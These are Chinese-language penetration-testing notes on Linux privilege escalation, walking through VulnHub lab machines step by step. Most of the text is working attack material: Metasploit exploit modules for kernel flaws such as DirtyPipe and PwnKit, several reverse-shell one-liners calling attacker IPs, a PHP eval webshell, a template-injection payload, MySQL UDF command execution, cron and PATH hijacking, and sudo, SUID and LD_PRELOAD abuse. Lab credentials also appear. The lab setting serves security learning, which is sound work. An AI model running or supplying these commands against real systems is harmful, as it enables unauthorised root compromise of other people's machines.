Linux
信息收集
当前主机的操作系统
hostnamectl
cat /etc/*-release
lsb_release -a
cat /etc/lsb-release # Debain
cat /etc/redhat-release # Redhat
cat /etc/centos-release # Centos
cat /etc/os-release # Ubuntu
cat /etc/issue
当前主机的内核版本
hostnamectl
uname -a
cat /proc/version
dmesg | grep “Linux version”
内核漏洞筛选:
下面的msf测试均在kali中进行
MSF检测:
run post/multi/recon/local_exploit_suggester
提权脚本:
筛选可能存在提权漏洞的信息,主要是内核漏洞提权
https://github.com/liamg/traitor
https://github.com/The-Z-Labs/linux-exploit-suggester
https://github.com/jondonas/linux-exploit-suggester-2
https://github.com/belane/linux-soft-exploit-suggester
综合脚本:
包含一些其他CVE,但内核漏洞提权效果不如上面
https://github.com/carlospolop/PEASS-ng
https://github.com/diego-treitos/linux-smart-enumeration
https://github.com/redcode-labs/Bashark
https://github.com/rebootuser/LinEnum
web-linux应用场景:
获取到Web权限在Linux服务器上时进行的内核漏洞提权
常见内核漏洞案例:
dirtycow(CVE-2016-5159)
Pwnkit (CVE-2021-4034)
Dirty Pipe(CVE-2022-0847)
SUDO (CVE-2021-3156)
大脏牛 (CVE-2017–1000405)
CVE-2017-16995
CVE-2021-3560
CVE-2023-1829
CVE-2022-2588
CVE-2021-3493
CVE-2022-32250
CVE-2023-3269
CVE-2022-0995
CVE-2022-2639
CVE-2023-0386
…
Web&内核溢出-Dcow
复现环境:https://www.vulnhub.com/entry/lampiao-1,249/
1、信息收集:
//全端口扫描
nmap -p1-65535 192.168.139.0/24
2、Web漏洞利用://msf
search drupal
use exploit/unix/webapp/drupal_drupalgeddon2
set rhost 192.168.46.144
set rport 1898
run
3、内核提权:
upload /root/linux-exploit-suggester.sh /tmp/1.sh
shell
cd /tmp
chmod +x 1.sh
./1.sh
https://github.com/gbonacini/CVE-2016-5195
upload /root/dcow.cpp /tmp/dcow.cpp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil /有可能编译不了,如果目标机器上不能变异就在攻击机编译完,直接从攻击机上传编译完的
python -c ‘import pty; pty.spawn(“/bin/bash”)’
./dcow
su root
该漏洞只能利用一次,做完需要还原
Web&内核溢出-Pwnkit
复现环境:https://www.vulnhub.com/entry/darkhole-1,724/
入口点是该网站修改用户名抓取id可以修改,后登录发现上传文件可以通过.phtml绕过,拿到webshell
1、信息收集:
nmap -p1-65535 192.168.139.0/24
2、Web漏洞利用:
重置管理密码-上传1.phtml-反弹MSF,哥斯拉里面PMeterpreter模块可以反弹到msf上
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 6666
run
3、内核提权
upload /root/linux-exploit-suggester.sh /tmp/1.sh
shell
cd /tmp
chmod +x 1.sh
./1.sh
search cve_2021_4034
use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
set session x
run
getuid
shell
cd /root
cat root.txt
Web&内核溢出-DirtyPipe
https://www.vulnhub.com/entry/matrix-breakout-2-morpheus,757/
1、信息收集:
nmap -p1-65535 192.168.139.0/24
2、Web漏洞利用
扫描发现-抓包分析-文件写入-反弹MSF
gobuster dir -u http://192.168.139.146 -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
扫到一个php文件为漏洞入口,可以上传一句话木马拿到webshell,下面为抓包的流量,可以看到post传入的时候也会明文显示文件名
message=&file=xd.php
哥斯拉webshell连上去接着用PMeterpreter模块打msf
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 6666
run
3、内核提权
upload /root/linux-exploit-suggester.sh /tmp/1.sh
shell
cd /tmp
chmod +x 1.sh
./1.sh //执行完发现有cve_2022_0847可以利用
search cve_2022_0847
use exploit/linux/local/cve_2022_0847_dirtypipe
set session x
set lhost xx.xx.xx.xx
run
补充
CVE-2023-0386
https://mp.weixin.qq.com/s/Z6sVuMrYMZV8WD6z1-U95Q
Web&用户-NFS安全
NFS是一种基于TCP/IP 传输的网络文件系统协议,通过使用NFS协议,客户机可以像访问本地目录一样访问远程服务器中的共享资源。
https://www.virtualbox.org/wiki/Downloads
https://www.vulnhub.com/entry/hacksudo-2-hackdudo,667/
提升条件:NFS服务开启和web或用户权限进行利用
1、信息收集:
nmap 192.168.1.6
http://192.168.1.6/file.php?file=/etc/passwd
2、NFS服务利用
showmount -e 192.168.1.6 链接
mkdir nfs
mount -t nfs 192.168.1.6:/mnt/nfs ./nfs 把攻击机的nfs和目标机器的/mnt/nfs同步,注意如果上传马要给权限
chmod 777 shell.php
3、配合SUID提权
注意gcc编译机器与目标机内核版本相似
直接cp复制机器上的suid文件也可以,改名再上传
#include<stdlib.h>
#include<unistd.h>
int main()
{
setuid(0);
system(“id”);
system(“/bin/bash”);
}
gcc getroot.c -o getroot
cp getroot /root/nfs #复制bash到挂载目录下
chmod +s getroot #赋予suid权限
find / -perm -u=s -type f 2>/dev/null 再看看是否加入
cd /mnt/nfs # 目标机
./getroot # 目标机
Web&用户-Cron任务
https://www.vulnhub.com/entry/jarbas-1,232/
提升条件:Web或用户权限进行查看,任务文件可修改
1、信息收集:
http://192.168.139.152/access.html
2、权限获取:
Jenkins创建任务,添加反弹,立即构建
这边添加的反弹可能是web用户或者普通用户权限
3、权限提升:
cat /etc/crontab
cat /etc/script/CleaningScript.sh #查看脚本内容
ls -lia /etc/script/CleaningScript.sh #查看对任务文件的权限
echo “/bin/bash -i >& /dev/tcp/192.168.139.141/66 0>&1” >> /etc/script/CleaningScript.sh
Linux系统提权-Web&用户-PATH变量
https://www.vulnhub.com/entry/symfonos-1,322/
提升条件:存在SUID的应用中能可逆向出执行命令,加用户权限
目标开放445端口,判断有smb服务
1、信息收集:
smbclient -L 192.168.139.153
2、权限获取:
smbclient //192.168.139.153/anonymous
get attention.txt
smbclient //192.168.139.153/helios -U helios
helios \ qwerty
3、漏洞利用//从上面可以得到一个wordpress网站 wpscan kali自带
wpscan –url http://192.168.139.153/h3l105/ –plugins-detection aggressive
searchsploit mail masta 1.0 //kali自带漏洞库
telnet 192.168.139.153 25
MAIL FROM: MALABIS
RCPT TO: helios
data
.
QUIT
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.139.128”,8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’
4、权限提升:
/opt/statuscheck里有执行curl
自己的文件自己能修改,所以curl能chmod 777
python -c ‘import pty;pty.spawn(“/bin/bash”)’
find / -perm -u=s -type f 2>/dev/null
strings /opt/statuscheck
cd /tmp
echo “/bin/sh” > curl
chmod 777 curl
export PATH=/tmp:$PATH
echo $PATH
/opt/statuscheck
SUID&SUDO应用场景:
获取到Web权限或普通用户在Linux服务器上时进行的SUID&SUDO提权
SUID (Set owner User ID up on execution)是给予文件的一个特殊类型的文件权限。在Linux/Unix中,当一个程序运行的时候,程序将从登录用户处继承权限。SUID被定义为给予一个用户临时的(程序/文件)所有者的权限来运行一个程序/文件。用户在执行程序/文件/命令的时候,将获取文件所有者的权限以及所有者的UID和GID。
SUDO权限是root把本来只能超级用户执行的命令赋予普通用户执行,系统管理员集中的管理用户使用权限和使用主机,配置文件:/etc/sudoers,除此配置之外的问题,SUDO还有两个CVE漏洞(CVE-2019-14287 CVE-2021-3156)。
#利用参考:
这个网站里面可以找一下参考
Web&用户-Suid
1、SUID&GUID
环境:https://www.vulnhub.com/entry/dc-1,292/
命令:SUID GUID
查找suid文件
find / -perm -u=s -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null
项目:LinEnum PEASS-ng
eg:find . / -exec “whoami”;
/usr/bin/find . -exec ‘/bin/sh’ ;
find / -name 123 -exec ‘/bin/sh’ ;
/usr/bin/sudo find /flag -exec cat /f* ;
2、SUID&SUDO
环境:https://www.vulnhub.com/entry/toppo-1,245/
搭建:创建任意虚拟机,然后将toppo.vmdx文件改名并替换原来的vmdx文件
SUID:
/usr/bin/python2.7 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.139.141”,6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’
Web&用户-Sudo(cve)//用户是因为git这种项目部署的时候需要普通用户权限支持
1、SUDO
环境:https://www.vulnhub.com/entry/toppo-1,245/
搭建:创建任意虚拟机,然后将toppo.vmdx文件改名并替换原来的vmdx文件
SUDO:
cat /etc/sudoers
/usr/bin/awk ‘BEGIN {system(“/bin/sh”)}’ //利用sudoers里面的awk去新开一个root权限的sh
2、SUDO-CVE
环境:https://www.vulnhub.com/entry/devguru-1,620/
-信息收集:
80,8585
http://192.168.139.150/adminer.php
http://192.168.139.150/backend/backend/auth
http://192.168.139.150:8585/admin
-git泄漏(利用点)
python GitHack.py http://192.168.139.150/.git/
-访问管理(Web入口):
adminer.php 添加用户名密码 登录后台 模版 写入Shell
function onStart(){
//蚁剑连接
eval($_POST[“pass”]);
}
-找备份寻突破(升权):
/var/backup/app.ini.bak 修改用户密码 登录后台 写入反弹
bash -c “exec bash -i >& /dev/tcp/192.168.139.141/5555 0>&1”
-利用sudo提权(cve):
sudo -l
sudo -u#-1 sqlite3 /dev/null ‘.shell /bin/sh’
git源码泄露 => 找到数据库密码,登入 => 找到cms后台用户密码,改为已知密码 => 登入cms后台,写shell(低权限)
gitea数据库配置备份文件泄露 => 连接gitea数据库,找到gitea的用户密码 => 登入gitea,写shell(更高权限) => 提权。
3、SUDO-CVE
环境:kali2020
sudo: 1.8.2 - 1.8.31p2
sudo: 1.9.0 - 1.9.5p1
-判断:sudoedit -s / 报错存在
-利用:
git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
make
chmod a+x sudo-hax-me-a-sandwich
./sudo-hax-me-a-sandwich 0
Web&用户-UDF提权//数据库类型
https://www.vulnhub.com/entry/raven-2,269/
1、信息收集:
http://192.168.139.155/vendor/
2、Web权限获取:
searchsploit phpmailer //kali漏洞库查找,查找完之后后面会跟利用文件或者利用方法,40969就是利用脚本
find / -name 40969.py //修改脚本相关的ip地址和后门路径
cp /usr/share/exploitdb/exploits/php/webapps/40969.py p.py
python p.py
拿到web权限
3、MYSQL-UDF提权:
前提:需要数据库高权限
-编译UDF.so
searchsploit udf
cp /usr/share/exploitdb/exploits/linux/local/1518.c . #复制到当前所在文件夹
gcc -g -shared -Wl,-soname,1518.so -o udf.so 1518.c -lc
python -m http.server 8080 攻击机起一个py服务器让对方去下载
-下载到目标上
python -c ‘import pty; pty.spawn(“/bin/bash”)’
cd tmp
wget http://192.168.139.141:8080/udf.so
-连接进行导出调用
mysql -uroot -pR@v3nSecurity //翻配置文件翻出来的
select version(); #查看mysql版本
select @@basedir; #确认mysql安装位置
show variables like ‘%basedir%’; #确认mysql安装位置
show variables like ‘%secure%’; #查看可导出文件位置。 //看一下secure_file_priv是否关闭,如果开启写入文件后受限制,需要关闭状态
show variables like ‘%plugin%’; #查找插件位置 //一会把udf.so提权文件放到这边
show variables like ‘%compile%’; #查看系统版本
use mysql;
创建xiaodi表
create table xiaodi(line blob);
往xiaodi表中插入二进制的udf.so
insert into xiaodi values(load_file(‘/tmp/udf.so’));
导出udf.so
select * from xiaodi into dumpfile ‘/usr/lib/mysql/plugin/udf.so’; //这里不直接下载到plugin目录下是因为web wget通常只能下载到tmp目录下,其他目录大概率没权限 ,在此之前记得chmod加执行权限
创建do_system自定义函数
create function do_system returns integer soname ‘udf.so’;
select do_system(‘nc 192.168.139.141 6666 -e /bin/bash’);
Web&用户-Capability能力 //理解为SUID升级版
原理参考:https://www.cnblogs.com/f-carey/p/16026088.html
cp /usr/bin/php /tmp/php
设置能力:setcap cap_setuid+ep /tmp/php //让/tmp/php有suid权限
删除能力:setcap -r /tmp/php
查看单个能力:getcap /usr/bin/php
查看所有能力:getcap -r / 2>/dev/null
./tmp/php -r “posix_setuid(0); system(‘/bin/sh’);”
Hacker_Kid
WP参考:https://www.jianshu.com/p/60673ac0454f 里面包含查看能力的解释
环境:https://www.vulnhub.com/entry/hacker-kid-101,719/
web入口点:账号密码
saket
Saket!#$%@!!
{% import os %}{{os.system('bash -c "bash -i &> /dev/tcp/192.168.139.141/6688 0>&1"')}}python2.7拥有cap_sys_ptrace权限,意味着他可以调试别的进程
/sbin/getcap -r / 2>/dev/null
python -m http.server 8080
wget http://192.168.139.141:8080/inject.py
for i in ps -ef|grep root|grep -v "grep"|awk '{print $2}'
; do python2.7 inject.py $i; done //注入所有root权限进程
nc 192.168.139.156 5600
结论:suid升级版,更细致的权限划分,通过能力有哪些权限设置进行利用
普通用户-LD_Preload加载
//只不过linux中特有的,是程序运行前就把要加载的程序包括了,这个LD_Preload是让程序需要的时候再加载,和dll提权差不多,当sudo提权查找到的是第三方文件的时候适用
参考:https://www.cnblogs.com/backlion/p/10503985.html
修改/etc/sudoers
Defaults env_keep += LD_PRELOAD //允许程序启用
test ALL=(ALL:ALL) NOPASSWD: /usr/bin/find //给test用户在运行find命令时所有的运行权限,不需要输入密码确定
1 | #include <stdio.h> |
gcc -fPIC -shared -o shell.so shell.c -nostartfiles //自己写一个加载文件
ls -al shell.so
sudo LD_PRELOAD=/tmp/shell.so find //在sudo运行find是加载写入的加载文件
whoami
Defaults env_keep += LD_PRELOAD
test ALL=(ALL:ALL) NOPASSWD: /tmp/LinEnum.sh
sudo LD_PRELOAD=/tmp/shell.so /tmp/LinEnum.sh
结论:sudo提权有限制,如果sudo里面第三方文件就得二进制分析,难度较大,但是一旦设置了LD_PRELOAD,那么只要有程序既可提权
普通用户-Rbash绕过
会给rbash用户组下面非常低的权限,rbash是linux限制用户权限的技术
参考:https://xz.aliyun.com/t/7642
Rbash(The Restricted mode of bash),也就是限制型bash
在渗透测试中可能遇到rbash,尝试绕过后才能进行后续操作
sudoadduser xiaodisec
sudo usermod -s /bin/rbash xiaodisec
https://www.vulnhub.com/entry/funbox-rookie,520/
1、入口点:
fscan -h 192.168.1.0/24
ftp 192.168.1.8
get tom.zip(iubire)
ssh tom@192.168.1.8 -i id_rsa
2、Rbash绕过:
python -m http.server 8080
wget http://192.168.1.3:8080/LinEnum.sh
awk ‘BEGIN {system(“/bin/bash”)}’ //sudo
3、历史泄漏提权:
./LinEnum.sh
cat /home/tom/.mysql_history
su root(xx11yy22!)